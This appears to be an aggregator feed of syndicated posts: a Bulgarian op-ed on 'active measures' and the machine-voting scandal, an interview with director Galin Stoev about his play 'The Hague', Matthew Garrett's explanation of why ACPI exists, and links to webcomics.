Активно мероприятие е нещо (събитие, процес, движение, организация скандал, конфликт, протест и пр.), което изглежда автентично, но в действителност е дело на специалните служби. Или на хора, които владеят методите на службите. Терминът има съветски произход. Някои участници в активните мероприятия са наясно, че са част от специализирана операция, но много други дори не си дават сметка, че са кукли на конци.
Ако сте параноици, това не означава, че не ви следят, чух да казва преди години един експерт по онлайн сигурност. Ако ви се привиждат активни мероприятия в българо-македонските отношения, в кампаниите срещу въглищните централи и джендъра или в преекспонирането на агентурното родословие на Васил Терзиев, проблемът може би не е само във вашия телевизор.
И ето че „активно мероприятие“ се превърна в словосъчетанието на седмицата. Ако не и на годината. Този път вече стана очевидно – поне за хората с критично мислене, – че е в ход огромна, добре обмислена и координирана манипулация. Поводът за нея е толкова нелеп, колкото да ви обвинят, че сте снимали светофар, и заради това да го махнат, като оставят само пешеходната пътека, ако използваме сравнението на главната редакторка на „Свободна Европа“ Татяна Ваксберг.
Целта, която активното мероприятие успя да постигне, е да се променят изборните правила за първия тур на местните избори. Независимо от „дребни подробности“ като закон, съд, парламент и правителство. И с явното участие на службите (ДАНС), които, изглежда, имат интерес да действат срещу правителството. Защото то иска да ги прочисти от ченгеджийството, свързано с остатъците от тоталитарната Държавна сигурност. А това не е лесна задача – дори да се сменят хората, чиито кариери имат корени в ДС, те са се възпроизвели многократно, възпитавайки за повече от 30 години поколения оперативни работници, разузнавачи, контраразузнавачи и пр.
Може би се питате за какво му е било на зам.-министъра Михаил Стойнов да снима (публичен) код с телефона си, и си задавате въпроси и за други странности, съпровождащи скандала. Но мислите ли, че една акция, при която действат в синхрон ДАНС, 5 от 6 парламентарно представени партии и ЦИК, нямаше да се осъществи, ако Стойнов не беше снимал? Тогава щеше да има нещо друго, независимо колко нелепо. Например бръкнал си е в джоба, където може би крие нещо, заплашващо сигурността на вота, а с това и цялата национална сигурност. Ето, Върховният административен съд видя различен проблем – машините за гласуване не били удостоверени от когото трябва.
Дадох пример с бъркане в джоба, защото си припомних една история отпреди 15 години. На пръв поглед тя е много различна от случката със снимането на хешкода на машините за гласуване. Но механизмът е аналогичен.
И така, годината е 2008-ма, мястото е Югозападният университет (ЮЗУ) в Благоевград. Съдът тъкмо е отменил второто уволнение на преподавател на име Петър Дошков. Него все го уволняват, защото е чепат и се бори с корупцията в университета. Особено с вече покойния декан на Правно-историческия факултет Александър Воденичаров, който де факто управлява университета. Между другото, продукт на същия факултет е и Делян Пеевски. Към онзи момент Воденичаров е бивш говорител на Висшия съдебен съвет и виден тимаджия, има свое лоби в парламента и кара незаконен трети мандат.
Колегите на Дошков са в ужас от възстановяването му на работа. Когато секретарката го вижда да влиза в кабинета, с ръка в джоба на черното си дънково яке, губи ума и дума. Решава, че в този джоб може да има пистолет, и споделя опасението си с декана. Свиква се заседание, на което се решава Дошков да не бъде допускан в университета въпреки съдебното решение, защото е опасен, може да носи пистолет и да го използва срещу студентите.
На следващия ден Петър Дошков не е допуснат в университета от охраната с аргумента, че носи пистолет, макар никой да не го проверява. Същото се случва и пред вратата на Благоевградския съд, чиито охранители своевременно са информирани за пистолета, който никой не е виждал и никой не желае да потърси.
Ден по-късно полицаи спохождат Дошков и му задават въпроса защо пребивава в града, без да се е регистрирал. Мнозина в България живеят с години без регистрация, да не говорим за почивки и командировки, но за Дошков и два дни се оказват проблем. Освен филолог обаче, преподавателят е също юрист и си знае правата. Отговаря, че има право да пребивава три дни без регистрация, а са минали само два.
На третия ден Петър Дошков се връща в родното си село, където в следващите три години продължава битките си с ЮЗУ. Докато един ден просто получава инфаркт и умира на 50-годишна възраст.
Няма смисъл да продължаваме да обсъждаме конкретното активно мероприятие със зам.-министъра Михаил Стойнов. Проблемът не е какво е направил или не е направил той, а защо не можем ефективно да се противопоставяме на активните мероприятия.
Да вземем за пример друго такова мероприятие – кампанията срещу Истанбулската конвенция. Колкото и логични аргументи да се привеждаха и колкото и да се обясняваше абсурдността на превратното тълкуване на термина „джендър“, всички усилия останаха глас в пустиня. Стигна се до три решения на две висши съдилища – две на Конституционния и едно на Върховния касационен съд, които юридически бетонираха целия нонсенс. От това пострадаха не само преживелите домашно насилие и ЛГБТ+ хората, а и неправителственият сектор и академичните изследователи, работещи в до този момент безобидна област, която внезапно беше превърната в скандална и незаконна.
Работата е там, че активните мероприятия трудно могат да бъдат оборени с разумни аргументи, защото действат на друго равнище. Те успяват именно защото често хората отказват да мислят критично. Хората не са машини, а емоционални същества. И когато с професионална прецизност се въздейства върху емоциите им – всява се страх, насажда се омраза, предизвиква се гняв и т.н., – те стават податливи на манипулации. Колкото и да се смятаме за рационални и критично мислещи, вероятно на всеки от нас му се е случвало поне веднъж да се „върже“ на активно мероприятие.
Не всички общества са еднакво податливи на активни мероприятия. Те намират по-благодатна почва там, където не срещат достатъчно съпротива от медии, политици и други публични личности. В България е практика политическите партии и публичните личности да не се противопоставят решително на активните мероприятия, за да не загубят популярност.
Трудно можем да се сетим не само за партия, а дори за политик (изключенията са единични), който да призовава за по-скорошно влизане на Македония в ЕС например, защото темата е превърната в масова истерия и не им се „бута между шамарите“. ПП–ДБ чакаха до последния възможен момент, преди да проявят решителност и да кажат, че въглищните централи все някога трябва да бъдат затворени. А за колко публични личности се сещате, които открито заявяват позициите си и се противопоставят на пропагандата?
Също толкова сериозен проблем е безкритичността на голяма част от медиите, особено на най-популярните от тях – националните телевизии. Ретранслирането на опорните точки на силните на деня без контекст, без проверка на фактите, без въпроси не е журналистика. Нито „отразяването“ на една и съща новина от максимален брой репортери, без нито един от тях да се опитва да разбере и покаже нещо повече от това, което официално му се казва. Още по-малко пък демонстративният отказ да се разберат елементарни неща, ако те противоречат на актуалната популистка реторика. Така например вече 15 години преди всеки „София прайд“ активисти трябва да отговарят в едни и същи телевизионни студиа на водещи, които казват: „Не разбирам защо парадирате.“
Ето така, като няма кой да се противопоставя, активните мероприятия се множат и стават все по-безочливи.
Този път е по-различно
Активното мероприятие за отмяна на машинното гласуване обаче не успя напълно. Това, в което успя, беше непосредствената му цел – да не се гласува с машини поне на първия тур на местните избори. Провали се обаче в опита си да бъде убедена критична част от обществото, че софтуерът на машините действително е компрометиран и затова е по-добре изобщо да няма машинно гласуване.
Мероприятието се провали, защото беше твърде плоско скалъпено. Абсурдността на тиражираните обвинения станаха очевадни, а синхронът между ДАНС, 5 от 6-те парламентарно представени партии и ЦИК – подозрителен. Да, ние, хората, сме лесно манипулируеми, но като разберем, че ни правят на глупаци, не ни става приятно.
Този път приятна изненада станаха и мейнстрийм медиите, които влязоха в ролята си на четвърта власт. Водещите и репортерите задаваха точните въпроси и подлагаха опорните точки на съмнение. Изглежда, прагът на поносимост беше прехвърлен и при тях.
И така, вместо за пореден път да затъваме в познатото активномероприятийно блато, ефектът беше по-скоро на свеж въздух. И на събуждане. Колко ще продължи той, е друг въпрос.
Вероятно сте чували известното стихотворение на германския богослов Мартин Нимьолер „Когато нацистите дойдоха за мен“. Активните мероприятия следват същия принцип – първите потърпевши са представителите на някоя дискриминирана група, после – на друга, после се минава към професионални съсловия и т.н. Без да забравяме и дишащите канцерогенен въздух, за да се угоди на нечии интереси, маскирани като национални. Докато накрая жертви станем всички.
Този път беше злоупотребено с правото ни на глас. Ако номерът беше минал и активните мероприятия продължаваха да се провеждат без никаква съпротива, рано или късно щеше да се стигне до отмяна на правото на демократични избори – под една или друга форма.
Единственият начин това да не стане е, ако използваме думите на Стивън Хокинг, да продължаваме да говорим. Нека си припомним изговорените с електронния му глас думи, станали част от песента „Keep Talking“ на Pink Floyd:
Милиони години човечеството е живяло точно като животните. После се е случило нещо, което е отприщило силата на въображението ни. Научили сме се да говорим […] и сме се научили да слушаме. Речта е позволила обмена на идеи, давайки възможност на човешките същества да работят заедно, за да изградят невъзможното. Най-великите постижения на човечеството са дошли заради говоренето, а неговите най-велики провали – от липсата на говорене. […] Всичко, от което имаме нужда, е да се уверим, че продължаваме да говорим.
Post Syndicated from Стефан Иванов original https://www.toest.bg/imame-ostra-nuzhda-ot-yasnota-i-pronitsatielnost-razgovor-s-galin-stoev/
Преди „Хага“ по-скоро не сте правил политически театър?
Не, поне не мога да се сетя, не съм си поставял въпроса за политически театър и какво представлява. Това е и чисто поколенчески въпрос. Израснах във време, в което говоренето за политика, в късния соц, беше безсмислено занимание.
Защо?
Тогава бяхме тийнейджъри и това е моментът, в който започваш да си задаваш малко по-конкретни въпроси: в какво живееш, в какъв тип общество и политическа среда? По онова време имаше няколко интересни движения, свързани най-вече с „Екогласност“, с дисидентската идея, и на тази възраст на човек му става интересно да се порови малко повече. Имах шанса да бъда част от поколение, което се оказа на площадката, когато една система сменяше друга, и ние бяхме абсолютно неподготвени, нямахме абсолютно никаква политическа култура. Населението масово нямаше такава. Имаше идеологеми, които не се поставяха под въпрос. Сблъскахме се с нов начин, по който трябваше да декодираме света и да се учим да бъдем свободни.
Това незнание даде ли повече свобода?
Свобода – трудно мога да кажа, имаше нюанси на свобода, имаше много повече слободия. Имаше и едно парадоксално отдръпване от всичко политическо, защото, когато моето поколение започна да работи, нещото, което можехме да предложим в момент на пълен разпад на системата, се оказа някакъв краен индивидуализъм, който тогава изглеждаше доста симпатичен. Говоря за първите ни работи. За самоосъзнаване и конструиране на политическа култура и политическо говорене отива много време, аз мисля, че все още се уча.
Как протече за Вас този период на учене от 90-те до днес?
Беше дълго пътуване, свързано и с това, че някъде от началото на века прекарвах повече време извън България. Съвпадна и с отварянето на границите, и със сблъсъка с друга култура и с друга политическа култура. Със сблъсъка с т.нар. свободен свят, който не познавахме, но проектирахме върху него, правехме пренос върху него на всичко, което ни липсваше в нашия си контекст. В нашите – по онова време – объркани и незрели мозъци всичко хубаво и адекватно се случваше отвъд желязната завеса, а всичко лошо и нефункциониращо ставаше у нас.
Този сблъсък със свободния свят – защото прекарах доста време в Англия, Германия, Белгия и Франция – също разтърси едни дълбоки устои и представи, които имах, за това кои сме ние, къде сме, за какво се борим и към какво се стремим.
Помня първото ми излизане, имах по-дълъг престой в Англия още като студент. Беше голям шок. Имах ясното чувство, че светът се е придвижил напред, а ние сме гледали в обратната посока и сме изпуснали всички тези процеси. Не съм сигурен, че мога да бъда представителна извадка, но ми се наложи да преразгледам основите на това що е политика и говорене за нея и дали имат въобще място в театъра.
Днес възможно ли е това наваксване, ако погледът е обърнат в по-човешка и морална посока?
Да, мисля, че нещата са свързани, мисля, че има по-различно ниво на осъзнатост. То е свързано и с факта, че имах възможност да прекарам време в истински граждански общества и да наблюдавам как те могат да моделират и модифицират политиката. Нещо, което в България беше трудно да си представя. От друга страна, при мен се връща със задна дата това, което бих могъл да определя като травматична опитност от соца, която тогава не съм можел нито да формулирам като такава, нито да обясня, но в чисто човешки план се е трупала някаква непоносимост към това време и към начина, по който системата третира човека. И днес, на стари години, мисля, че успях да намеря пресечни точки между тази стара травма и фрустрация, която нося в себе си, и едно по-различно самоосъзнаване в рамките на политическата ситуация днес.
Може ли да се каже, че хвърляте мост между израстването си по време на социализма и казването на истината от устата и въображението на дете, на тийнейджър, в лицето на тирана, както е в „Хага“?
Точно така, да, в този смисъл, предполагам, има и някакъв психоаналитичен момент, но не е нужно да навлизаме и в него. Иначе, ако махнем склонността ни към черногледство и оплакване, мисля, че България доста е еволюирала от 90-те, и намирам това за положително. Днешна България не е тази отпреди трийсетина години. Това е свързано най-вече с интегрирането ни в съюзи, изградени на други принципи, различни от принципите на соца – Европейския съюз, на първо място, и НАТО. Това е шок, разбира се, за голяма част от обществото, най-вече за по-възрастните. Но интеграцията поставя страната и обществото на друг път и задава други посоки. Въпросът вече е доколко обществото е готово за тези нови посоки, да участва в говоренето за тях и да се самоосъзнае като свободно общество в рамките на демократичния консенсус. И оттук насетне да поеме отговорност за собственото си развитие в този контекст.
„Хага", Народен театър „Иван Вазов" © Боряна Пандова
В този ред на мисли според Вас към днешна дата България колонизирана, деколонизирана или държава в процес на деколонизация е?
Сложен въпрос. Имаше моменти, в които бяхме убедени, че България е свободна държава, за да осъзнаем, десетилетие или две по-късно, че всъщност е колония и винаги е била такава. Има моменти, в които си казваме, че деконструираме нещо и се изправяме пред огромна агентурна армия, която се занимава със запазването на хайката, със запазването на ретроградния тип мислене и позиции. Днес ние не сме по-различни от всичко, което се случва в света в момента. Имаме пълна фрагментираност на обществото и балони, в които се говори на определен език, но тези езици не комуникират помежду си. Няма вертикала, към която да се закачим и по която да се съизмерим, но тези процеси протичат и на световно ниво. България не прави изключение.
А театърът като колективно изкуство и жива среща, които създават пространство за различни версии, истини и перспективи за света, начин за интеграция на това общество ли е?
Да, това е много интересното, върху което експериментирам с „Хага“. Да открием виталната роля на театъра – отвъд буржоазната дефиниция, която той получава, отвъд това – не че в България говорим за него, – че така или иначе, няма изследване, което да покаже какъв тип публика ходи на театър – разбира се, една малка част от обществото. И когато намерим начин да провокираме дебат, изненада или шок през театрални средства и те успеят да докоснат по-дълбоко от повърхностната естетика или от доброто прекарване на вечерта в театъра, тогава вече играта започва да става интересна, защото театърът изведнъж показва страни или сили в себе си, надхвърлящи ролята, която сме му определили в общия пъзел.
Каква би била разликата между постановки на „Хага“ във Франция и в България?
Разликата е най-вече в това към кого се обръщаш, на кого говориш, каква е публиката. Това биха били две различни представления може би, не знам, защото хората, на които ще разказвам, са различни, с различен бекграунд и багаж, с различни контексти и история. Във Франция хората нямат особени съмнения кой кого е нападнал, оттам картинката е много ясна. Там хората не могат да разберат как може една държава да се докара до това положение и да извърши такъв акт на агресия. Те биха гледали това с желание да разберат, биха изследвали, биха гледали пътуването на детето през тази история, все едно са на сафари.
Като урок по човекознание, като антропология?
Да, точно така, докато в България заради идеята, че сме проксита на путинския режим, „Хага“ всъщност поставя зрителя в много по-дестабилизираща ситуация. Защото, освен че „Хага“ би разказала какво се случва в Украйна и какво се случва в Руската федерация, тя би разказвала и неща, които дебатират нашата идентичност като българи, като нация, като история и като митологеми, които сами сме изградили и сме пуснали в собствената си градина и които в един момент започват да ни моделират и управляват вместо ние тях.
Разказвачът в „Хага“ е дете, тийнейджър може би, но е и нещо повече, нали?
Да, разказвачът е събирателен образ на много деца, с които авторката се е срещала или е говорила, или е правила проучвания за историите им. Има нещо, което е хубаво да се знае и не съм казвал досега. Има момент в представлението, когато детето запява украинския химн. Някои от зрителите възприемат това като акт на чиста пропаганда, без да знаят, че зад тази сцена стои конкретна история. Разказ на едно от децата, които са били откарани на територията на Руската федерация за осиновяване. Та това дете, според разказа му, е претърпяло огромен тормоз, психически най-вече, и то споделя, че единствените моменти, в които е можело да се задържи в кондиция и без да се разпадне психически, са били, когато са го заключвали в тъмна стая, наказвали са го, защото отказва да говори на руски, и то тихо е пяло химна на Украйна. Тази сцена, както и повечето други, има скрита история, има реален аватар в действителността.
Как бихте разказал за какво става въпрос в „Хага“, на български или руски тийнейджър, или на дете?
Бих казал, че това е история за порастването, за превръщането на детето във възрастен, което при нормални условия се случва за няколко десетилетия, а в условия на война – в рамките на дни, понякога и на часове. Порастването е болезнен процес. Така както детето страда, за да стане възрастен, да научи достатъчно и да има опит, така и човешкото същество страда, за да може да се изкачи на някакво по-високо ниво на развитие. Това би било приказка за порастването, в която всички елементи, като понятията за добро и зло, са разместени и объркани до такава степен, че няма кой да ги преподреди и върне на местата им, освен най-слабия и най-чистия. Това е един от основните митове на човечеството. Популярен пример, за който сега се сещам, е „Властелинът на пръстените“. Там Фродо е натоварен с най-непосилната задача, която не може да бъде изпълнена от никого от по-зрелите и по-магични същества, защото те знаят, че ще се провалят в тази мисия. Те няма да могат да устоят на изкушението. Единственият, който може, е най-наивният, най-непредубеденият. Във „Властелинът“ това е Фродо, в „Хага“ това е детето.
„Хага“, Народен театър „Иван Вазов" © Боряна Пандова
Бихте ли правил отново политически театър в България?
Имам доста класическо театрално образование и изборите при мен са свързани и тръгват най-вече от срещата ми с текст или тема, която да ме вълнува и да влиза в резонанс с днешния ден и с това, което преживяваме на социално и интимно ниво.
Има текстове като „Образ и подобие“ на Радичков или „Персифедрон“ на Константин Павлов, но сякаш политическият театър и драматургия в България все още остават периферни?
Да, ние нямаме почти никаква традиция в това. Има такива светли примери, но те се броят на пръсти. Продължавам да мисля, че „Образ и подобие“ е великолепен текст и идея за проект; в главата ми тя беше свързана дълго време със ситуацията на дванайсетгодишното управление на ГЕРБ, примерно. Сега нещата малко се промениха, но Радичков е автор великан и дори когато пише политическа сатира, той успява да я пласира в едни метафизически пластове на съзнанието. Затова мисля, че и днес този текст би бил изключително силен, ако бъде насочен да говори за нашата дълбока идентичност и за кризата ѝ. След падането на Берлинската стена обществото ни продължава да търси своята идентичност и в него има отделни фракции, които си я представят по много различен начин. Тази фрагментация днес е изключително силно изявена, конфликтите са крайно изострени и на ментално ниво нашето общество е в състояние на война, макар че все още нямаме сили да си го признаем. А в състояние на война правилата се променят.
Как тогава може да съществува мир в България?
Не знам дали мога да отговоря, но мирът винаги е бил нещо, към което всички се стремят. Само че периодът, през който ние като общество преминаваме и който човечеството също прекосява днес, е период на огромни размествания, срутвания на някои устойчиви пластове и всъщност е момент на криза, която неминуемо ще ни задължи да преразгледаме основните си постулати за това как да се ориентираме и какво бъдеще искаме да имаме.
В политически план цялата световна система за сигурност също ще бъде преразгледана. Ние сме на прага на огромни промени и въпросът е дали в колективния облак и в колективното съзнание желанието за катастрофа е по-голямо от желанието за мир. В момента имам чувството, че желанието за катастрофа е по-голямо, а ако това е така, то катастрофа ще има. Не мога да предвидя под каква форма, но единствената надежда в случая е, че катастрофата е нещо, през което трябва да се премине. Тя е един вид месомелачка, стъргало, и тези, които успеят да преминат през нея и да запазят човешката си същност, ще трябва да се борят с ясно очертаващи се фракции в световен мащаб, работещи за пълно обезчовечаване, и техните проксита и в българския социален живот… Тук вече въпросът е дали ще излезем от този период абсолютно обезчовечени, или ще сме разбрали базисни неща и ще градим някаква обща визия за бъдеще.
Да разбираме, че Вие сте – по някакъв начин – стоически обнадежден?
Да, нямам и друг избор. Другото е да се хвърля в античен трагически плач, но такъв вече има достатъчно и няма защо да се прибавя към него. Мисля, че имаме остра нужда от яснота и проницателност, които да ни позволят да провидим бъдеще и надежда.
И от честност и искреност може би?
Това е задължително условие, но то влиза в рамките на личния живот на всеки един индивид и в този смисъл всеки, рано или късно, ще бъде поставен пред избор. И ще трябва да се определи, защото в състояние на война двете страни трябва да прегледат армиите и силите си.
Post Syndicated from Matthew Garrett original https://mjg59.dreamwidth.org/68350.html
“Why does ACPI exist” – – the greatest thread in the history of forums, locked by a moderator after 12,239 pages of heated debate, wait no let me start again.
Why does ACPI exist? In the beforetimes power management on x86 was done by jumping to an opaque BIOS entry point and hoping it would do the right thing. It frequently didn’t. We called this Advanced Power Management (Advanced because before this power management involved custom drivers for every machine and everyone agreed that this was a bad idea), and it involved the firmware having to save and restore the state of every piece of hardware in the system. This meant that assumptions about hardware configuration were baked into the firmware – failed to program your graphics card exactly the way the BIOS expected? Hurrah! It’s only saved and restored a subset of the state that you configured and now potential data corruption for you. The developers of ACPI made the reasonable decision that, well, maybe since the OS was the one setting state in the first place, the OS should restore it.
So far so good. But some state is fundamentally device specific, at a level that the OS generally ignores. How should this state be managed? One way to do that would be to have the OS know about the device specific details. Unfortunately that means you can’t ship the computer without having OS support for it, which means having OS support for every device (exactly what we’d got away from with APM). This, uh, was not an option the PC industry seriously considered. The alternative is that you ship something that abstracts the details of the specific hardware and makes that abstraction available to the OS. This is what ACPI does, and it’s also what things like Device Tree do. Both provide static information about how the platform is configured, which can then be consumed by the OS and avoid needing device-specific drivers or configuration to be built-in.
The main distinction between Device Tree and ACPI is that Device Tree is purely a description of the hardware that exists, and so still requires the OS to know what’s possible – if you add a new type of power controller, for instance, you need to add a driver for that to the OS before you can express that via Device Tree. ACPI decided to include an interpreted language to allow vendors to expose functionality to the OS without the OS needing to know about the underlying hardware. So, for instance, ACPI allows you to associate a device with a function to power down that device. That function may, when executed, trigger a bunch of register accesses to a piece of hardware otherwise not exposed to the OS, and that hardware may then cut the power rail to the device to power it down entirely. And that can be done without the OS having to know anything about the control hardware.
How is this better than just calling into the firmware to do it? Because the fact that ACPI declares that it’s going to access these registers means the OS can figure out that it shouldn’t, because it might otherwise collide with what the firmware is doing. With APM we had no visibility into that – if the OS tried to touch the hardware at the same time APM did, boom, almost impossible to debug failures (This is why various hardware monitoring drivers refuse to load by default on Linux – the firmware declares that it’s going to touch those registers itself, so Linux decides not to in order to avoid race conditions and potential hardware damage. In many cases the firmware offers a collaborative interface to obtain the same data, and a driver can be written to get that. this bug comment discusses this for a specific board)
Unfortunately ACPI doesn’t entirely remove opaque firmware from the equation – ACPI methods can still trigger System Management Mode, which is basically a fancy way to say “Your computer stops running your OS, does something else for a while, and you have no idea what”. This has all the same issues that APM did, in that if the hardware isn’t in exactly the state the firmware expects, bad things can happen. While historically there were a bunch of ACPI-related issues because the spec didn’t define every single possible scenario and also there was no conformance suite (eg, should the interpreter be multi-threaded? Not defined by spec, but influences whether a specific implementation will work or not!), these days overall compatibility is pretty solid and the vast majority of systems work just fine – but we do still have some issues that are largely associated with System Management Mode.
One example is a recent Lenovo one, where the firmware appears to try to poke the NVME drive on resume. There’s some indication that this is intended to deal with transparently unlocking self-encrypting drives on resume, but it seems to do so without taking IOMMU configuration into account and so things explode. It’s kind of understandable why a vendor would implement something like this, but it’s also kind of understandable that doing so without OS cooperation may end badly.
This isn’t something that ACPI enabled – in the absence of ACPI firmware vendors would just be doing this unilaterally with even less OS involvement and we’d probably have even more of these issues. Ideally we’d “simply” have hardware that didn’t support transitioning back to opaque code, but we don’t (ARM has basically the same issue with TrustZone). In the absence of the ideal world, by and large ACPI has been a net improvement in Linux compatibility on x86 systems. It certainly didn’t remove the “Everything is Windows” mentality that many vendors have, but it meant we largely only needed to ensure that Linux behaved the same way as Windows in a finite number of ways (ie, the behaviour of the ACPI interpreter) rather than in every single hardware driver, and so the chances that a new machine will work out of the box are much greater than they were in the pre-ACPI period.
There’s an alternative universe where we decided to teach the kernel about every piece of hardware it should run on. Fortunately (or, well, unfortunately) we’ve seen that in the ARM world. Most device-specific simply never reaches mainline, and most users are stuck running ancient kernels as a result. Imagine every x86 device vendor shipping their own kernel optimised for their hardware, and now imagine how well that works out given the quality of their firmware. Does that really seem better to you?
It’s understandable why ACPI has a poor reputation. But it’s also hard to figure out what would work better in the real world. We could have built something similar on top of Open Firmware instead but the distinction wouldn’t be terribly meaningful – we’d just have Forth instead of the ACPI bytecode language. Longing for a non-ACPI world without presenting something that’s better and actually stands a reasonable chance of adoption doesn’t make the world a better place.
comments
Post Syndicated from Explosm.net original https://explosm.net/comics/leaves
New Cyanide and Happiness Comic
Post Syndicated from Oglaf! -- Comics. Often dirty. original https://www.oglaf.com/everyday-cleanser/
Post Syndicated from xkcd.com original https://xkcd.com/2849/
